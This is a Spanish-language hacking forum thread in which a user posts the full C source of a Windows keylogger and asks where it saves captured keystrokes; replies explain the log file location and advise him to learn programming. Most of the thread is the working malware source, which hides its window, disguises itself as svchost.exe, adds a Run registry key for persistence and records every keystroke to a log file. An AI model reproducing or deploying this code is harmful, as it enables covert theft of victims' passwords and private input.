Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Mister12 en 31 Julio 2014, 20:31 pm



Título: En que directorio guarda los datos recolectados este keylogger
Publicado por: Mister12 en 31 Julio 2014, 20:31 pm
Este es el codigo fuente del keylogger

Citar
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
 
   int test,create;
   test=test_key();/*check if key is available for opening*/
       
   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);
         
   }
       
 
   int t=get_keys();
   
   return t;


int get_keys(void)
{
           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                           
                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("[SHIFT]",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\n[ENTER]",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("[BACKSPACE]",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("[TAB]",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("[CTRL]",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("[DEL]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("[;:]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("[/?]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("[`~]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("[ [{ ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("[\\|]",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("[ ]} ]",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("['\"]",file);
                                              fclose(file);
                                              break;
                                              /*case VK_OEM_PLUS:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_COMMA:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_MINUS:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_PERIOD:
                                              fputc('.',file);
                                              fclose(file);
                                              break;*/
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("[CAPS LOCK]",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               }                 
                   
           }
           return EXIT_SUCCESS;                           
}                                               

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;
   
   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {   
       check=1;
       return check;
   }       
         
   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
   
   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;
       
   RegCloseKey(hKey);
   return check; 
}
 
int create_key(char *path)

       int reg_key,check;
       
       HKEY hkey;
       
       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;
               
       return check;
}



Título: Re: En que directorio guarda los datos recolectados este keylogger
Publicado por: daryo en 31 Julio 2014, 20:50 pm
no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)


Título: Re: En que directorio guarda los datos recolectados este keylogger
Publicado por: vangodp en 31 Julio 2014, 20:59 pm
creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:


Título: Re: En que directorio guarda los datos recolectados este keylogger
Publicado por: Mister12 en 31 Julio 2014, 21:04 pm
no me lo tomes a mal pero te facilitaria mucho mas cosas el que aprendas a programar asi podras mejorar el codigo o crear el tuyo propio

saludos :)

Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.

creo que en la misma carpeta del ejecutable o eso creo  :laugh:
lo digo por que eso:

FILE *file;
file=fopen("svchost.log","a+");

crea el archivo justo donde se pone svchost.log. Si no se especifica una ruta tipo c:\blablabla es que se crea en el mismo directorio donde ponga el exe

Si fuera así:
file=fopen("c:/blablabla.../svchost.log","a+");
...estaría en la ruta especificada c:/blablabla.../svchost.log

piratilla  :laugh:

Gracias por sus respuestas.Saludos 


Título: Re: En que directorio guarda los datos recolectados este keylogger
Publicado por: daryo en 31 Julio 2014, 21:05 pm
Citar
piratilla  :laugh:
no hombre xD luego vendra aca cada vez que quiera saber que hace un codigo en ves de intentar entenderlo .

mister12 si te gusta la informatica programar te abrira las puertas muchisimo a entender muchas cosas y mas aun si te gusta el hacking , copiar codigos de fuente sin entender que hacen puede no darte los mejores resultados

edito: por ejemplo ese keylogger podria no funcionarte muy bien dependiendo de donde lo pongas

Se supone que el foro esta para enseñar lo que se sabe y aprender lo que no, y debo empezar por algo.
de verdad quieres aprender o simplemente copiar y pegar lo que encuentras por ahi?. porque si es asi vas por mal camino.

bueno tomatelo como un consejo solamente


Título: Re: En que directorio guarda los datos recolectados este keylogger
Publicado por: Mister12 en 31 Julio 2014, 21:15 pm
Bueno agradezco tu punto de vista, pero por algo se debe empezar bueno la idea es ir modificando el código probarlo y listo, peor es nada, y no tengo que preguntar cada vez que quiera entender que hace un código no te parece que es mucho mas fácil recopilar el código y probar en un entorno seguro para saber que hace un código